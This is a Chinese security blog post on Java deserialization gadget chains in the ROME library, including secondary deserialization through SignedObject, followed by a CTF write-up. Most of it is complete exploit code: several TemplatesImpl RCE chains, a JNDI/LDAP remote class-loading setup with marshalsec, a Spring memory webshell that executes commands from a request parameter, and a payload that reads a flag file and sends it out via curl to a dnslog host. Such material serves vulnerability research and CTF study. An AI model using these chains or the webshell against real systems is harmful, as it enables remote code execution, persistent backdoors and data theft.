从Rome看二次反序列化
点击蓝字
关注我们
ROME
ROME是一组Atom/RSS工具类,它用Java来操作大部份RSS。ROME可能是目前最完善的开源聚合工具,ROME支持绝大多数的RSS协议。
依赖
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
前置知识
ToStringBean
com.sun.syndication.feed.impl.ToStringBean
类中,提供了toString()
方法,其中有两个toString()
一个有参一个无参,先看下无参的toString()
_beanClass
中的getter、setter方法,跟进看一下getPDs()
CommonsBeanutils
中的getOutputProperties
,它会调用newtransform()
,进而触发TemplatesImpl 利用链,那么现在的问题就是如何调用toString了EqualsBean
toString()
方法,并且_obj可控,就可以直接调用到ToStringBean的toString()方法beanHashCode()
beanEquals()
方法,同样调用了反射,这个后面再谈ObjectBean
beanHashCode()
方法,并且_equalsBean可控这就可以联想到HashMap中的hashcode()方法
ObjectBean链
这条链是Rome反序列化的原型,由ysoserial 作者提出
TemplatesImpl.getOutputProperties()
ToStringBean.toString(String)
ToStringBean.toString()
EqualsBean.beanHashCode()
EqualsBean.hashCode()
HashMap<K,V>.hash(Object)
HashMap<K,V>.readObject(ObjectInputStream)
构造一个恶意类
public class Evil extends AbstractTranslet {
public Evil(){
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
}
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
}
后续用到的工具类
public class Tools {
public static byte[] getBytes(String byteName) throws NotFoundException, IOException, CannotCompileException {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.get(byteName);
byte[] bytes = ctClass.toBytecode();
return bytes;
}
public static void setFieldValue(Object o, String fieldName, Object value) throws Exception {
Field field = o.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(o,value);
}
public static byte[] serialize(Object o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bao);
oos.writeObject(o);
return bao.toByteArray();
}
public static void unserialize(byte[] b) throws IOException, ClassNotFoundException {
ByteArrayInputStream bis = new ByteArrayInputStream(b);
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
}
}
利用链构造
首先先构造Templatesimpl链,并将恶意类的字节码存入其中
byte[] bytes = getBytes("Rome.Evil");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Sentiment");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
之后就是构造ToStringBean的toString()
部分,可以通过构造器初始化两个属性的值
ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
接着到EqualsBean部分,同样需要修改_obj的值,将其修改为ToStringBean类型,才能调用到对应的toString()
public int beanHashCode() {
return _obj.toString().hashCode();
}
初始化EqualsBean
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
因此这里只需要,将对应的obj修改为ToStringBean即可,即:
ObjectBean objectBean = new ObjectBean(Object.class, equalsBean);
这里的只用到了_obj,因此beanClass随意赋值一个类型即可
接着就是修改HashMap了,因为HashMap的readObject方法中调用了hash()
的方法,继而调用了hashCode()
调用了hash()
,接着调用了key的hashCode()
,因此就需要构造key为ObjectBean类型,即:
ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
ObjectBean objectBean = new ObjectBean(Object.class, toStringBean);
HashMap hashMap = new HashMap();
hashMap.put(objectBean, "1");
最后调用HashMap的readObject()方法成功执行反序列化
但需注意在我们使用HashMap的put()
时,会调用hash() -> hashCode(),因此需要put时先传入无害数据,在通过反射来修改_equalsBean
为恶意的。
POC:
public class Rome_ObjectBean {
public static void main(String[] args) throws Exception {
byte[] bytes = getBytes("Rome.Evil");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Sentiment");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
ObjectBean objectBean = new ObjectBean(Object.class, "Sentiment");
HashMap hashMap = new HashMap();
hashMap.put(objectBean, "1");
setFieldValue(objectBean,"_equalsBean",equalsBean);
byte[] serialize = serialize(hashMap);
unserialize(serialize);
}
}
readObject()
最终同样可以触发hashCode()
,因此同样适用POC:
public class Rome_ObjectBean {
public static void main(String[] args) throws Exception {
byte[] bytes = getBytes("Rome.Evil");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Sentiment");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
ObjectBean objectBean = new ObjectBean(Object.class, "Sentiment");
Hashtable hashtable = new Hashtable();
hashtable.put(objectBean, "1");
setFieldValue(objectBean,"_equalsBean",equalsBean);
byte[] serialize = serialize(hashtable);
unserialize(serialize);
}
}
其他调用链
1、BadAttributeValueExpException
想到toString就一定能想到BadAttributeValueExpException的readobject(),它在最后调用了toString()
方法,并且它的val属性我们可以通过反射修改,那就可以直接触发到ToStringBean中的此方法
public class Rome_BadAttributeValueExpException {
public static void main(String[] args) throws Exception {
byte[] bytes = getBytes("Rome.Evil");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Sentiment");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
ToStringBean toStringBean = new ToStringBean(Templates.class, templates);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setFieldValue(badAttributeValueExpException,"val",toStringBean);
byte[] serilize = serilize(badAttributeValueExpException);
unserilize(serilize);
}
}
2、HotSwappableTargetSource
equals()
方法中,会调用obj2的toString()
,假如构造obj2为ToStringBean类型就能RCEequals()
,并且其中的参数可控equals()
,并且参数是target,通过有参构造就能修改。equals()
前后有两个target,这就需要构造两个HotSwappableTargetSource实例,左边为XString,右边为ToStringBeanequals()
,这里还可以用HashMap的readObject()public class Rome_HotSwappableTargetSource {
public static void main(String[] args) throws Exception{
byte[] bytes = getBytes("Rome.Evil");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Sentiment");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
ToStringBean toStringBean = new ToStringBean(Templates.class,templates);
HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(new XString("1"));
HotSwappableTargetSource hotSwappableTargetSource2 = new HotSwappableTargetSource(toStringBean);
HashMap hashMap = new HashMap();
hashMap.put(hotSwappableTargetSource2,"1");
hashMap.put(hotSwappableTargetSource1,"1");
byte[] serialize = serialize(hashMap);
unserialize(serialize);
}
}
3、JdbcRowSetImpl链
getDatabaseMetaData()
会调用connect()
,触发lookup()
进行远程类加载getDatabaseMetaData()
是以get
开头,因此在ToStringBean的toString()
,可通过循环反射调用,而触发方式仍然为HashMap调用hashCode()
的方式put()
时,会调用hashCode()
,因此需要修改equalsBean的内容为无害数据,但构造后发现,EqualsBean的构造器再赋值前,会进行判断beanClass是否为obj的子类,否则会抛异常ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, "Sentiment");
setFieldValue(toStringBean,"_obj",jdbcRowSet);
python -m http.server 7777
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:7777/#Evil 9999
POC:
public class Rome_JdbcRowSetImpl {
public static void main(String[] args) throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
jdbcRowSet.setDataSourceName("ldap://127.0.0.1:9999/Evil");
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, "Sentiment");
EqualsBean equalsBean=new EqualsBean(ToStringBean.class,toStringBean);
HashMap hashMap = new HashMap();
hashMap.put(equalsBean,"1");
setFieldValue(toStringBean,"_obj",jdbcRowSet);
byte[] serialize = serialize(hashMap);
unserialize(serialize);
}
}
4、无ToStringBean链
beanEquals()
equals()
中会调用,因此这里就需要找到哪里调用了equals()
即可,这就联想到了CC7的调用链Hashtable.readObject()
Hashtable.reconstitutionPut()
AbstractMapDecorator.equals()
AbstractMap.equals()
reconstitutionPut()
zZ
、yy
绕过即可,因为它俩的hash相等map1.put("zZ",1);
map2.put("yy",1);
equals()
,因此value要设置为EqualsBean
类型,而equals()
中的参数在beanEquals()
中会判断是否为_beanClass的子类或子类实例,_beanClass
根据前边的经验是Templates类型的,因此equals()
中的参数也要是Templates
类型map1.put("yy",equalsBean);
map1.put("zZ",templates);
map2.put("zZ",equalsBean);
map2.put("yy",templates);
EqualsBean equalsBean = new EqualsBean(Templates.class, templates);
put()
执行,而这里执行后会抛出异常结束进程,就导致了无法走到readObject的部分,因此同样先设置一个无害参数,在通过反射在最后修改回来public class Rome_EqualsBean {
public static void main(String[] args) throws Exception {
byte[] bytes = getBytes("Rome.Evil");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Sentiment");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
EqualsBean equalsBean = new EqualsBean(Templates.class, templates);
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy",equalsBean);
map1.put("zZ",templates);
map2.put("zZ",equalsBean);
map2.put("yy",templates);
Hashtable hashtable = new Hashtable();
hashtable.put(map1,"1");
hashtable.put(map2,"1");
setFieldValue(equalsBean,"_beanClass",Templates.class);
setFieldValue(equalsBean,"_obj",templates);
byte[] serialize = serialize(hashtable);
unserialize(serialize);
}
}
public class Rome_EqualsBean {
public static void main(String[] args) throws Exception {
byte[] bytes = getBytes("Rome.Evil");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Sentiment");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
EqualsBean equalsBean = new EqualsBean(String.class, "Sentiment");
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy",equalsBean);
map1.put("zZ",templates);
map2.put("zZ",equalsBean);
map2.put("yy",templates);
HashMap hashMap = new HashMap();
hashMap.put(map1,"1");
hashMap.put(map2,"1");
setFieldValue(equalsBean,"_beanClass",Templates.class);
setFieldValue(equalsBean,"_obj",templates);
byte[] serialize = serialize(hashMap);
unserialize(serialize);
}
}
二次反序列化
SignedObject
java.security
中的SignedObject类,它的构造器中就默认实现了序列化的功能getObject()
又实现了反序列化,并且其中的参数content是通过构造器可控的SignedObject
,将之前的恶意hashMap存入SignedObject,对其触发序列化byte[] bytes = getBytes("Rome.Evil");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Sentiment");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
ToStringBean toStringBean1 = new ToStringBean(Templates.class, templates);
EqualsBean equalsBean1 = new EqualsBean(ToStringBean.class, toStringBean1);
ObjectBean objectBean1 = new ObjectBean(Object.class, "Sentiment");
HashMap hashMap = new HashMap();
hashMap.put(objectBean1, "1");
setFieldValue(objectBean1,"_equalsBean",equalsBean1);
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(hashMap, kp.getPrivate(), Signature.getInstance("DSA"));
ToStringBean toStringBean2 = new ToStringBean(SignedObject.class, signedObject);
EqualsBean equalsBean2 = new EqualsBean(ToStringBean.class, toStringBean2);
ObjectBean objectBean2 = new ObjectBean(Object.class, "Sentiment");
HashMap hashMap1 = new HashMap();
hashMap1.put(objectBean2, "1");
setFieldValue(objectBean2,"_equalsBean",equalsBean2);
byte[] serialize = serialize(hashMap1);
unserialize(serialize);
public class Rome_SignedObject {
public static void main(String[] args) throws Exception {
byte[] bytes = getBytes("Rome.Evil");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Sentiment");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
ToStringBean toStringBean1 = new ToStringBean(Templates.class, templates);
EqualsBean equalsBean1 = new EqualsBean(ToStringBean.class, toStringBean1);
ObjectBean objectBean1 = new ObjectBean(Object.class, "Sentiment");
HashMap hashMap = new HashMap();
hashMap.put(objectBean1, "1");
setFieldValue(objectBean1,"_equalsBean",equalsBean1);
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(hashMap, kp.getPrivate(), Signature.getInstance("DSA"));
ToStringBean toStringBean2 = new ToStringBean(SignedObject.class, signedObject);
EqualsBean equalsBean2 = new EqualsBean(ToStringBean.class, toStringBean2);
ObjectBean objectBean2 = new ObjectBean(Object.class, "Sentiment");
HashMap hashMap1 = new HashMap();
hashMap1.put(objectBean2, "1");
setFieldValue(objectBean2,"_equalsBean",equalsBean2);
byte[] serialize = serialize(hashMap1);
unserialize(serialize);
}
}
CTF—JavaMonster
Try to solve EasyJava
,但hashCode要等于Try to solve EasyJava
public int hashCode() {
int h = hash;
if (h == 0 && value.length > 0) {
char val[] = value;
for (int i = 0; i < value.length; i++) {
h = 31 * h + val[i];
}
hash = h;
}
return h;
}
//97
"a".hashCode()
//97*31+98=3105
"ab".hahsCode()
//3105*31+99=96354
"abc".hashCode()
"ab"*31 + "c"
,按照此计算规则假设我将"ab"改为"bC",那么它的hashcode = 98*31+67=3105,与ab相等HDCTF
,其中两个函数完成功能与SignedObject中的基本一致,所以直接考虑二次反序列化绕过黑名单import com.ctf.easyjava.hdctf.HDCTF;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.syndication.feed.impl.EqualsBean;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import javax.xml.transform.Templates;import java.util.Base64;import java.util.HashMap;import static com.ctf.easyjava.Tools.*;public class Rome_CTF { public static void main(String[] args) throws Exception{ ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("i"); CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); ctClass.setSuperclass(superClass); CtConstructor constructor = ctClass.makeClassInitializer(); constructor.setBody("Runtime.getRuntime().exec(\"calc.exe\");"); byte[] bytes = ctClass.toBytecode(); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "Sentiment"); setFieldValue(templates, "_class", null); setFieldValue(templates, "_bytecodes", new byte[][]{bytes}); EqualsBean equalsBean1 = new EqualsBean(String.class, "Sentiment"); HashMap map1 = new HashMap(); HashMap map2 = new HashMap(); map1.put("yy",equalsBean1); map1.put("zZ",templates); map2.put("zZ",equalsBean1); map2.put("yy",templates); HashMap hashMap1 = new HashMap(); hashMap1.put(map1,"1"); hashMap1.put(map2,"1"); setFieldValue(equalsBean1,"_beanClass",Templates.class); setFieldValue(equalsBean1,"_obj",templates); HDCTF hdctf = new HDCTF(hashMap1); EqualsBean equalsBean2 = new EqualsBean(String.class, "Sentiment"); HashMap map3 = new HashMap(); HashMap map4 = new HashMap(); map3.put("yy",equalsBean2); map3.put("zZ",hdctf); map4.put("zZ",equalsBean2); map4.put("yy",hdctf); HashMap hashMap2 = new HashMap(); hashMap2.put(map3,"1"); hashMap2.put(map4,"1"); setFieldValue(equalsBean2,"_beanClass",HDCTF.class); setFieldValue(equalsBean2,"_obj",hdctf); byte[] serialize = serialize(hashMap2); String s = Base64.getEncoder().encodeToString(serialize); System.out.println(s); }}
预期解
package com.ctf.easyjava;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class InjectToController extends AbstractTranslet {
// 第一个构造函数
public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
configField.setAccessible(true);
RequestMappingInfo.BuilderConfiguration config =(RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
Method method2 = InjectToController.class.getMethod("test");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = RequestMappingInfo.paths("/shell")
.options(config)
.build();
InjectToController springControllerMemShell = new InjectToController("aaa");
mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
// 第二个构造函数
public InjectToController(String aaa) {}
// controller指定的处理方法
public void test() throws IOException{
// 获取request和response对象
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
//exec
try {
String arg0 = request.getParameter("cmd");
PrintWriter writer = response.getWriter();
if (arg0 != null) {
String o = "";
java.lang.ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
}else{
p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("A");
o = c.hasNext() ? c.next(): o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}else{
//当请求没有携带指定的参数(code)时,返回 404 错误
response.sendError(404);
}
}catch (Exception e){}
}
}
FileInputStream fis =new FileInputStream("D:\\InjectToController.class");
byte[] bytes = new byte[fis.available()];
fis.read(bytes);
非预期
import com.ctf.easyjava.hdctf.HDCTF;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javax.xml.transform.Templates;
import java.util.Base64;
import java.util.HashMap;
import static com.ctf.easyjava.Tools.*;
public class Rome_CTF {
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("i");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody("Runtime.getRuntime().exec(new String[]{\"/bin/bash\", \"-c\", \"cat /flag_is_is_here | while read line; do echo $line.iny9ev.dnslog.cn | xargs curl; done\"});");
byte[] bytes = ctClass.toBytecode();
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Sentiment");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
EqualsBean equalsBean1 = new EqualsBean(String.class, "Sentiment");
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy",equalsBean1);
map1.put("zZ",templates);
map2.put("zZ",equalsBean1);
map2.put("yy",templates);
HashMap hashMap1 = new HashMap();
hashMap1.put(map1,"1");
hashMap1.put(map2,"1");
setFieldValue(equalsBean1,"_beanClass",Templates.class);
setFieldValue(equalsBean1,"_obj",templates);
HDCTF hdctf = new HDCTF(hashMap1);
EqualsBean equalsBean2 = new EqualsBean(String.class, "Sentiment");
HashMap map3 = new HashMap();
HashMap map4 = new HashMap();
map3.put("yy",equalsBean2);
map3.put("zZ",hdctf);
map4.put("zZ",equalsBean2);
map4.put("yy",hdctf);
HashMap hashMap2 = new HashMap();
hashMap2.put(map3,"1");
hashMap2.put(map4,"1");
setFieldValue(equalsBean2,"_beanClass",HDCTF.class);
setFieldValue(equalsBean2,"_obj",hdctf);
byte[] serialize = serialize(hashMap2);
String s = Base64.getEncoder().encodeToString(serialize);
System.out.println(s);
}
}
往期推荐
原创 | 记一次对Hack the box_remote的渗透测试